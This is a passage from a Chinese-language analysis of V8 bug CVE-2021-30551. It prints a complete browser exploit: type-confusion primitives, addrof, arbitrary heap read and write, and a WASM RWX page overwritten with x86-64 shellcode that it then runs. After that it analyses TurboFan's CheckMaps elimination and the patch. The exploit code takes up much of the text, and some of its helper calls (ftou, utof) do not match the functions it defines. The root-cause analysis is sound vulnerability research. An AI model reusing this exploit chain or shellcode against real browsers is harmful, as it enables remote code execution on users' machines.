console.log(double_arr.length);

漏洞利用过程中需要使用浮点数到 64 位整数的强制转换,实现如下:

buf = new ArrayBuffer(8);
f64a = new Float64Array(buf);
u64a = new BigUint64Array(buf);
u32a = new Uint32Array(buf);

function f2u(f) {
	f64a[0] = f;
	return u64a[0];
}

function u2f(u) {
	u64a[0] = u;
	return f64a[0];
}

function low32u(u64) {
	u64a[0] = u64;
	return u32a[0];
}

function high32u(u64) {
	u64a[0] = u64;
	return u32a[1];
}

接下来把这几部分代码组合到一起,实现 fakeobj 和 addrof。由于组合到一起后,代码运行时间、消耗的内存都增加了很多,整个利用受到 GC 的影响开始变得不稳定,所以还需要加入一些缓解 GC 的代码,最终代码如下:

createCorruptedPair = (proto, value_1, value_2) => {
	setPropertyViaEmbed = (object, value, handler) => {
		const embed = document.createElement('embed');
		embed.onload = handler;
		embed.type = 'text/html';
		Object.setPrototypeOf(proto, embed);
		document.body.appendChild(embed);
		object.corrupted_prop = value;
		embed.remove();
	}

  const object_1 = {
    __proto__: proto
  };
  object_1.regular_prop = 1;


  setPropertyViaEmbed(object_1, value_2, () => {
    Object.setPrototypeOf(proto, null);
    object_1.corrupted_prop = value_1;
  });


  const object_2 = {
    __proto__: proto
  };
  object_2.regular_prop = 1;


  setPropertyViaEmbed(object_2, value_2, () => {
    Object.setPrototypeOf(proto, null);
    object_2.corrupted_prop = value_1;
    object_1.regular_prop = 1.1
  });


  return [object_1, object_2];
}

double_arr = [1.1]
obj_arr = [double_arr, {}]

// 循环是为了多触发几次 GC
// 2 次 GC 后 double_arr elements 的内存位置会变得稳定下来
// 在后面的整个利用过程中不再变化
// 如果没有这个循环,这里读出的 elements 后面会被 GC 移动到别的地方,导致利用失效、崩溃
for (let i = 0; i < 20; ++i) {
	proto1 = {};
	const [o1, o2] = createCorruptedPair(proto1, 1.1, obj_arr)

	read_props_elems = (o) => {
		return o.corrupted_prop;
	}

	for (let i = 0; i < 10000; ++i) {
		read_props_elems(o1);
	}

	// 读取 obj_arr 数组的 elements
	obj_arr_elems = high32u(ftou(read_props_elems(o2)));
	console.log('obj arr elems:', obj_arr_elems.toString(16));
}

// 从 elements[0] 读取 double_arr 指针

v1 = [1.1, 1.2, 1.3];
v1.p = 1;

proto2 = {};
const [oa, ob] = createCorruptedPair(proto2, v1, utof(BigInt(`0x${obj_arr_elems.toString(16)}00000000`)));

read_heap_mem = (o) => {
	return o.corrupted_prop[0];
}

for (var i = 0; i < 100000; ++i)
	read_heap_mem(oa);

double_arr_start = low32u(ftou(read_heap_mem(ob)));
console.log('obj_arr[0]:', double_arr_start.toString(16));

// 修改 double_arr 的 elements
const elements_offset = 0x8;

elems_len = utof(BigInt(`0x000000f0${obj_arr_elems.toString(16).padStart(8, '0')}`));

write_heap_mem = (o) => o.corrupted_prop[0] = elems_len;

proto3 = {}
const [oc, od] = createCorruptedPair(proto3, v1, utof(BigInt(`0x${double_arr_start.toString(16)}00000000`)));

for (let i = 0; i < 100000; ++i)
	write_heap_mem(oc);

write_heap_mem(od);

console.log(double_arr.length);

addrof = (o) => {
	obj_arr[0] = 0;
	return low32u(ftou(double_arr[0]));
}

完成利用

通过类型混淆,我们已经得到了读写堆上任意 JavaScript 对象的能力。我们只需要在此基础上:

  • 实现 addrof
  • 利用 WASM 编译机制,取得一段 RWX 内存的地址
  • 创建一个 ArrayBuffer 对象,利用内存读写,修改 ArrayBuffer 内部的缓冲区指针,改为 RWX 内存所在位置
  • 用上一步的 ArrayBuffer 创建一个 Uint8Array,将 shellcode 填入 Uint8Array
  • 调用 WASM 导出函数,触发 shellcode 执行

完整的利用代码如下:

createCorruptedPair = (proto, value_1, value_2) => {
	setPropertyViaEmbed = (object, value, handler) => {
		const embed = document.createElement('embed');
		embed.onload = handler;
		embed.type = 'text/html';
		Object.setPrototypeOf(proto, embed);
		document.body.appendChild(embed);
		object.corrupted_prop = value;
		embed.remove();
	}

  const object_1 = {
    __proto__: proto
  };
  object_1.regular_prop = 1;


  setPropertyViaEmbed(object_1, value_2, () => {
    Object.setPrototypeOf(proto, null);
    object_1.corrupted_prop = value_1;
  });


  const object_2 = {
    __proto__: proto
  };
  object_2.regular_prop = 1;


  setPropertyViaEmbed(object_2, value_2, () => {
    Object.setPrototypeOf(proto, null);
    object_2.corrupted_prop = value_1;
    object_1.regular_prop = 1.1
  });


  return [object_1, object_2];
}

double_arr = [1.1]
obj_arr = [double_arr, {}]

 for (let i = 0; i < 20; ++i) {
	proto1 = {};
	const [o1, o2] = createCorruptedPair(proto1, 1.1, obj_arr)

	read_props_elems = (o) => {
		return o.corrupted_prop;
	}

	for (let i = 0; i < 10000; ++i) {
		read_props_elems(o1);
	}

	// 读取 obj_arr 数组的 elements
	obj_arr_elems = high32u(ftou(read_props_elems(o2)));
	console.log('obj arr elems:', obj_arr_elems.toString(16));
}

// 从 elements[0] 读取 double_arr 指针

v1 = [1.1, 1.2, 1.3];
v1.p = 1;

proto2 = {};
const [oa, ob] = createCorruptedPair(proto2, v1, utof(BigInt(`0x${obj_arr_elems.toString(16)}00000000`)));

read_heap_mem = (o) => {
	return o.corrupted_prop[0];
}

for (var i = 0; i < 100000; ++i)
	read_heap_mem(oa);

double_arr_start = low32u(ftou(read_heap_mem(ob)));
console.log('obj_arr[0]:', double_arr_start.toString(16));

// 修改 double_arr 的 elements
const elements_offset = 0x8;

elems_len = utof(BigInt(`0x000000f0${obj_arr_elems.toString(16).padStart(8, '0')}`));

write_heap_mem = (o) => o.corrupted_prop[0] = elems_len;

proto3 = {}
const [oc, od] = createCorruptedPair(proto3, v1, utof(BigInt(`0x${double_arr_start.toString(16)}00000000`)));

for (let i = 0; i < 100000; ++i)
	write_heap_mem(oc);

write_heap_mem(od);

console.log(double_arr.length);


// 更稳定的 addrof
addrof = (o) => {
	obj_arr[0] = o;
	return low32u(ftou(double_arr[0]));
}


// 编译 wasm 模块
// 代码可以从在线 wasm 编译器获得 https://wasdk.github.io/WasmFiddle/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});

// 读取 wasmInstance 的 jump_table_start
const jump_table_start_offset = 0x68;
arr_buf_store_ptr = addrof(wasmInstance) + jump_table_start_offset;

read_u64 = (ptr) => {
	const [o1, o2] = createCorruptedPair([], v1, utof(BigInt(`0x${(ptr-0x8).toString(16)}00000000`)));
	read_heap_mem = (o) => o.corrupted_prop[0];
	for (let i = 0; i < 50000; ++i)
		read_heap_mem(o1);
	return ftou(read_heap_mem(o2));
}

// 读取 RWX 内存地址
rwx_mem = read_u64(arr_buf_store_ptr)
console.log('RXW mem start:', rwx_mem.toString(16));


// 新建 ArrayBuffer,修改指向的内存到 RWX 区域
const backing_store_offset = 0x1c;
arr_buf = new ArrayBuffer(0x1000);
backing_store_addr = addrof(arr_buf) + backing_store_offset;

console.log('orginal buf:', read_u64(backing_store_addr).toString(16));

write_u64 = (ptr, u64) => {
	f64 = utof(u64);
	console.log(ptr.toString(16));
	const [o1, o2] = createCorruptedPair([], v1, utof(BigInt(`0x${(ptr-0x8).toString(16)}00000000`)));
	write_heap_mem = (o) => o.corrupted_prop[0] = f64;
	for (let i = 0; i < 50000; ++i)
		write_heap_mem(o1);
	write_heap_mem(o2);
}

write_u64(backing_store_addr, rwx_mem);

// 创建一个 Uint8Array,用来读写 ArrayBuffer 指向的内存
rwx_bytes = new Uint8Array(arr_buf);

// 用 Uint8Array 复制 shellcode 到可执行内存
//
shellcode = new Uint8Array([//0xcc,
	0x48, 0x31, 0xFF, 0x48, 0xF7, 0xE7, 0x65, 0x48, 0x8B, 0x58,
  0x60, 0x48, 0x8B, 0x5B, 0x18, 0x48, 0x8B, 0x5B, 0x20, 0x48,
  0x8B, 0x1B, 0x48, 0x8B, 0x1B, 0x48, 0x8B, 0x5B, 0x20, 0x49,
  0x89, 0xD8, 0x8B, 0x5B, 0x3C, 0x4C, 0x01, 0xC3, 0x48, 0x31,
  0xC9, 0x66, 0x81, 0xC1, 0xFF, 0x88, 0x48, 0xC1, 0xE9, 0x08,
  0x8B, 0x14, 0x0B, 0x4C, 0x01, 0xC2, 0x4D, 0x31, 0xD2, 0x44,
  0x8B, 0x52, 0x1C, 0x4D, 0x01, 0xC2, 0x4D, 0x31, 0xDB, 0x44,
  0x8B, 0x5A, 0x20, 0x4D, 0x01, 0xC3, 0x4D, 0x31, 0xE4, 0x44,
  0x8B, 0x62, 0x24, 0x4D, 0x01, 0xC4, 0xEB, 0x32, 0x5B, 0x59,
  0x48, 0x31, 0xC0, 0x48, 0x89, 0xE2, 0x51, 0x48, 0x8B, 0x0C,
  0x24, 0x48, 0x31, 0xFF, 0x41, 0x8B, 0x3C, 0x83, 0x4C, 0x01,
  0xC7, 0x48, 0x89, 0xD6, 0xF3, 0xA6, 0x74, 0x05, 0x48, 0xFF,
  0xC0, 0xEB, 0xE6, 0x59, 0x66, 0x41, 0x8B, 0x04, 0x44, 0x41,
  0x8B, 0x04, 0x82, 0x4C, 0x01, 0xC0, 0x53, 0xC3, 0x48, 0x31,
  0xC9, 0x80, 0xC1, 0x07, 0x48, 0xB8, 0x0F, 0xA8, 0x96, 0x91,
  0xBA, 0x87, 0x9A, 0x9C, 0x48, 0xF7, 0xD0, 0x48, 0xC1, 0xE8,
  0x08, 0x50, 0x51, 0xE8, 0xB0, 0xFF, 0xFF, 0xFF, 0x49, 0x89,
  0xC6, 0x48, 0x31, 0xC9, 0x48, 0xF7, 0xE1, 0x50, 0x48, 0xB8,
  0x9C, 0x9E, 0x93, 0x9C, 0xD1, 0x9A, 0x87, 0x9A, 0x48, 0xF7,
  0xD0, 0x50, 0x48, 0x89, 0xE1, 0x48, 0xFF, 0xC2, 0x48, 0x83,
  0xEC, 0x30, 0x66, 0x81, 0xE4, 0xF0, 0xFF, 0x41, 0xFF, 0xD6
]);

for(let i = 0; i < shellcode.length; ++i) {
	rwx_bytes[i] = shellcode[i]
}

// 调用 wasm 模块导出的函数, 触发 shellcode 执行
wasmInstance.exports.main();

扩展分析

虽然我们已经分析了漏洞成因,写出了利用代码,但 POC 中还有很多细节是我们没有分析清楚的,这部分会从中选取几个简单分析下。

array.prop = 1

POC 代码中 array.prop = 1; 这行代码,看起来很奇怪,但是如果把它删掉漏洞利用就会失败,下面分析一下这行代码的作用。

对象本身的内容我们之前已经分析的很细了,这行代码不太可能是影响了对象的内容了,更大可能是影响了 JIT 编译生成的代码,所以从 jit 函数入手,对比两种情况下编译出的代码有什么区别,具体操作:

  • alert('debug'); debug = jit; 配合之前的调试属性设置时使用的 Storeic::Store 函数的断点, 找到 jit 函数对象的地址。
  • jit 函数对象的类型是 JSFunction,0x18 偏移处存放了 Code 对象的指针,编译器生成的代码位于 Code 对象 0x40 偏移处。

利用失败时:

00007DBF001C4640 8B 59 D0             mov         ebx,dword ptr [rcx-30h]
00007DBF001C4643 49 03 DE             add         rbx,r14
00007DBF001C4646 F6 43 07 01          test        byte ptr [rbx+7],1
00007DBF001C464A 74 05                je          00007DBF001C4651
00007DBF001C464C E9 0F 82 E8 FF       jmp         00007DBF0004C860
00007DBF001C4651 55                   push        rbp
00007DBF001C4652 48 89 E5             mov         rbp,rsp
00007DBF001C4655 56                   push        rsi
00007DBF001C4656 57                   push        rdi
00007DBF001C4657 50                   push        rax
00007DBF001C4658 48 83 EC 08          sub         rsp,8
00007DBF001C465C 48 89 75 E0          mov         qword ptr [rbp-20h],rsi
00007DBF001C4660 49 3B 65 60          cmp         rsp,qword ptr [r13+60h]
00007DBF001C4664 0F 86 D1 00 00 00    jbe         00007DBF001C473B
00007DBF001C466A 48 8B 4D 18          mov         rcx,qword ptr [rbp+18h]
00007DBF001C466E F6 C1 01             test        cl,1
00007DBF001C4671 0F 84 16 01 00 00    je          00007DBF001C478D
;
; 检查参数对象的 map
;
00007DBF001C4677 BF 79 E7 25 08       mov         edi,825E779h
00007DBF001C467C 39 79 FF             cmp         dword ptr [rcx-1],edi
00007DBF001C467F 0F 85 0F 01 00 00    jne         00007DBF001C4794
00007DBF001C4685 8B 79 0F             mov         edi,dword ptr [rcx+0Fh]
00007DBF001C4688 49 03 FE             add         rdi,r14
;
; 检查 corrupted_prop 的 map,对于 object_2 来说这个条件无法满足
;
00007DBF001C468B 41 B8 61 28 25 08    mov         r8d,8252861h
00007DBF001C4691 44 39 47 FF          cmp         dword ptr [rdi-1],r8d
00007DBF001C4695 0F 85 00 01 00 00    jne         00007DBF001C479B
00007DBF001C469B 44 8B 47 07          mov         r8d,dword ptr [rdi+7]
00007DBF001C469F 4D 03 C6             add         r8,r14
00007DBF001C46A2 8B 7F 0B             mov         edi,dword ptr [rdi+0Bh]
00007DBF001C46A5 D1 FF                sar         edi,1
00007DBF001C46A7 83 FF 00             cmp         edi,0
00007DBF001C46AA 0F 86 F2 00 00 00    jbe         00007DBF001C47A2
00007DBF001C46B0 C4 C1 7B 10 40 07    vmovsd      xmm0,qword ptr [r8+7]
00007DBF001C46B6 C5 FB 2C C8          vcvttsd2si  ecx,xmm0
00007DBF001C46BA C5 83 2A C9          vcvtsi2sd   xmm1,xmm15,ecx
00007DBF001C46BE C5 F9 2E C8          vucomisd    xmm1,xmm0
00007DBF001C46C2 0F 8A 38 00 00 00    jp          00007DBF001C4700
00007DBF001C46C8 0F 85 32 00 00 00    jne         00007DBF001C4700
00007DBF001C46CE 83 F9 00             cmp         ecx,0
00007DBF001C46D1 0F 84 8C 00 00 00    je          00007DBF001C4763
00007DBF001C46D7 48 8B F9             mov         rdi,rcx
00007DBF001C46DA 03 F9                add         edi,ecx
00007DBF001C46DC 0F 80 1E 00 00 00    jo          00007DBF001C4700
00007DBF001C46E2 48 8B C7             mov         rax,rdi
00007DBF001C46E5 48 8B 4D E8          mov         rcx,qword ptr [rbp-18h]
00007DBF001C46E9 48 8B E5             mov         rsp,rbp
00007DBF001C46EC 5D                   pop         rbp
00007DBF001C46ED 48 83 F9 01          cmp         rcx,1
00007DBF001C46F1 7F 03                jg          00007DBF001C46F6
00007DBF001C46F3 C2 10 00             ret         10h
00007DBF001C46F6 41 5A                pop         r10
00007DBF001C46F8 48 8D 64 CC 08       lea         rsp,[rsp+rcx*8+8]
00007DBF001C46FD 41 52                push        r10
00007DBF001C46FF C3                   ret

利用成功时:

00007DBF001C54C0 8B 59 D0             mov         ebx,dword ptr [rcx-30h]
00007DBF001C54C3 49 03 DE             add         rbx,r14
00007DBF001C54C6 F6 43 07 01          test        byte ptr [rbx+7],1
00007DBF001C54CA 74 05                je          00007DBF001C54D1
00007DBF001C54CC E9 8F 73 E8 FF       jmp         00007DBF0004C860
00007DBF001C54D1 55                   push        rbp
00007DBF001C54D2 48 89 E5             mov         rbp,rsp
00007DBF001C54D5 56                   push        rsi
00007DBF001C54D6 57                   push        rdi
00007DBF001C54D7 50                   push        rax
00007DBF001C54D8 48 83 EC 08          sub         rsp,8
00007DBF001C54DC 48 89 75 E0          mov         qword ptr [rbp-20h],rsi
00007DBF001C54E0 49 3B 65 60          cmp         rsp,qword ptr [r13+60h]
00007DBF001C54E4 0F 86 C1 00 00 00    jbe         00007DBF001C55AB
00007DBF001C54EA 48 8B 4D 18          mov         rcx,qword ptr [rbp+18h]
00007DBF001C54EE F6 C1 01             test        cl,1
00007DBF001C54F1 0F 84 06 01 00 00    je          00007DBF001C55FD
;
; 检查参数的 map
;
00007DBF001C54F7 BF 01 D4 24 08       mov         edi,824D401h
00007DBF001C54FC 39 79 FF             cmp         dword ptr [rcx-1],edi
00007DBF001C54FF 0F 85 FF 00 00 00    jne         00007DBF001C5604
00007DBF001C5505 8B 79 0F             mov         edi,dword ptr [rcx+0Fh]
00007DBF001C5508 49 03 FE             add         rdi,r14
00007DBF001C550B 44 8B 47 07          mov         r8d,dword ptr [rdi+7]
00007DBF001C550F 4D 03 C6             add         r8,r14
00007DBF001C5512 8B 7F 0B             mov         edi,dword ptr [rdi+0Bh]
00007DBF001C5515 D1 FF                sar         edi,1
00007DBF001C5517 83 FF 00             cmp         edi,0
00007DBF001C551A 0F 86 EB 00 00 00    jbe         00007DBF001C560B
00007DBF001C5520 C4 C1 7B 10 40 07    vmovsd      xmm0,qword ptr [r8+7]
00007DBF001C5526 C5 FB 2C C8          vcvttsd2si  ecx,xmm0
00007DBF001C552A C5 83 2A C9          vcvtsi2sd   xmm1,xmm15,ecx
00007DBF001C552E C5 F9 2E C8          vucomisd    xmm1,xmm0
00007DBF001C5532 0F 8A 38 00 00 00    jp          00007DBF001C5570
00007DBF001C5538 0F 85 32 00 00 00    jne         00007DBF001C5570
00007DBF001C553E 83 F9 00             cmp         ecx,0
00007DBF001C5541 0F 84 8C 00 00 00    je          00007DBF001C55D3
00007DBF001C5547 48 8B F9             mov         rdi,rcx
00007DBF001C554A 03 F9                add         edi,ecx
00007DBF001C554C 0F 80 1E 00 00 00    jo          00007DBF001C5570
00007DBF001C5552 48 8B C7             mov         rax,rdi
00007DBF001C5555 48 8B 4D E8          mov         rcx,qword ptr [rbp-18h]
00007DBF001C5559 48 8B E5             mov         rsp,rbp
00007DBF001C555C 5D                   pop         rbp
00007DBF001C555D 48 83 F9 01          cmp         rcx,1
00007DBF001C5561 7F 03                jg          00007DBF001C5566
00007DBF001C5563 C2 10 00             ret         10h
00007DBF001C5566 41 5A                pop         r10
00007DBF001C5568 48 8D 64 CC 08       lea         rsp,[rsp+rcx*8+8]
00007DBF001C556D 41 52                push        r10
00007DBF001C556F C3                   ret

可以看到关键就在于没有 array.prop = 1 时,编译器会多生成一个对 corrupted_prop 属性的 map 检查,防止了类型混淆的发生。编译的问题,从 IR 入手分析更容易:

  • 提取 jit 函数相关的代码片段,改写成测试代码 test.js
  • 执行 d8 --trace-turbo test.js
  • turbolizer 打开上一步中 d8 创建的 turbo-jit-0.json。
  • 把 d8 创建的 IR 文件删除,注释掉 array.prop = 1,重新生成一份 IR
  • 对比各阶段的 IR,寻找关键的区别

NOTE: IR 相关内容参考 TurboFan JIT Design


const array = [1.1];
array.prop = 1;

obj = {};
obj.regular_prop = 1;
obj.corrupted_prop = array;

jit = (object) => {
	return object.corrupted_prop[0];
}

for (var i = 0; i < 100000; ++i)
	jit(obj);

仔细对比后发现,在 v8.TFLoadElimination 阶段,阻碍漏洞利用的 CheckMaps 节点被删除了。

删除前:

删除后:

调试一下,在 JIT 编译前添加 readline(); 可以阻塞代码的执行,创造一个空挡,方便附加调试。在代码里搜索 LoadElimination 找到 struct LoadEliminationPhase,快速浏览代码,发现这个阶段就是针对各种场景消除冗余的节点,其中有几处针对 CheckMaps 节点的优化:TypedOptimization::ReduceCheckMapsLoadElimination::ReduceCheckMaps。先看一下是不是这些地方发挥了作用,在这两个函数开头下断,在控制台输入回车让代码继续运行,在第二次执行 LoadElimination::ReduceCheckMaps 函数时,程序走入了消除 CheckMaps 节点的逻辑,被消除掉的 CheckMaps 刚好是图里的第二个 CheckMaps 节点,这里很有可能就是关键点了。分析一下这个函数:

Reduction LoadElimination::ReduceCheckMaps(Node* node) {
  ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
  Node* const object = NodeProperties::GetValueInput(node, 0);
  Node* const effect = NodeProperties::GetEffectInput(node);
  AbstractState const* state = node_states_.Get(effect);
  if (state == nullptr) return NoChange();
  ZoneHandleSet<Map> object_maps;
  if (state->LookupMaps(object, &object_maps)) {
    if (maps.contains(object_maps)) return Replace(effect); // <<<
    // TODO(turbofan): Compute the intersection.
  }
  state = state->SetMaps(object, maps, zone());
  return UpdateState(node, state);
}

结合整个 LoadElimination 类的代码和 IR 相关的资料,理解了这段代码的意图:

  • CheckMaps 节点的意图是检查目标对象的 Map 是否符合条件,Map 来自之前代码运行时记录的信息
  • node_state_ 中记录了之前分析出的各节点所处的状态,对于 CheckMaps 操作来说,里面记录了目标对象所有可能的 Map。
  • 如果当前 InputValue 对象的所有可能的 map 都满足 CheckMaps 的条件,那此 CheckMaps 是冗余的可以直接删除掉。

接下来问题就变成了,EffectInput 节点的状态中记录的 object_maps 信息是从哪来的?从 IR 图上找到 EffectInput 和 ValueInput 对应的节点是 30:LoadField[+16],调试 LoadElimination::ReduceLoadField 得知 object_maps 是从 LoadField 节点的参数 FieldAccess 获取的。搜索代码找到创建 LoadField 节点的函数 PropertyAccessBuilder::BuildLoadDataField,调试此函数得知 FieldAccess 是从 feedback 的信息分析出的:

  • Feedback 是字节码解释器在运行时记录的缓存信息,参考 V8 and How It Listens to You - Michael Stanton 这个技术讲座。
  • v8 占用的内存是在是太多了,为了尽量减少内存使用,feedback 并不是全局启用,只有当一个函数执行次数超过阈值,字节码解释器才开始收集这个函数的 feedback。feedback 分成几种类型,不同类型收集的信息也不尽相同。
  • 对于我们关心的属性访问 (LoadNamedProperty) 操作来说,feedback 信息包括源对象的 map 和 目标属性的偏移。
  • Turbofan 在把字节码转换成 IR 的过程中,会把 feedback 信息,存入 IR 节点的参数中。
  • 针对我们分析的这个问题,就是把 feedback 存入 LoadNamed 节点中。
  • 在 Inlining 阶段的 JSNativeContextSpecialization::ReduceJSLoadNamed 方法中,turbofan 会尝试把 LoadNamed 节点转换为更底层的 LoadField 节点。转换过程中会对 feedback 信息进行分析,如果目标属性的 FieldType 是 Class,会把目标属性的 Map 信息也存入到 LoadField 节点中。
  • 在 LoadElimination 阶段,对上面分析出的 map 信息进行静态检查,即可保证 map 符合条件,忽略掉冗余的 CheckMaps 检查。
  • 如果是用浮点数数组作为 corrupted_prop 属性,FieldType 是不满足条件的。加上 array.prop = 1; 语句,array 对象变成了一个更复杂的对象,才能满足 FiledType 的条件,触发 LoadElimination 阶段的优化。

修复

结合漏洞报告分析 COMMIT f9857fdf ,可以发现:

  • COMMIT 中实际修复漏洞的部分是在 object.cc 的 2566 行开始那部分,其他修改都是测试代码相关的
  • 从 Interceptor 回调返回后,会调用 SetSuperProperty,后者会重新启动属性查找,如果 Interceptor 回调里添加了属性,会在这个阶段被发现。

参考

  1. https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html
  2. https://v8.dev/blog/fast-properties
  3. https://v8.dev/blog/trash-talk
  4. https://www.youtube.com/watch?v=u7zRSm8jzvA
  5. https://ponyfoo.com/articles/an-introduction-to-speculative-optimization-in-v8
  6. https://v8.dev/blog/v8-lite
  7. https://v8.js.cn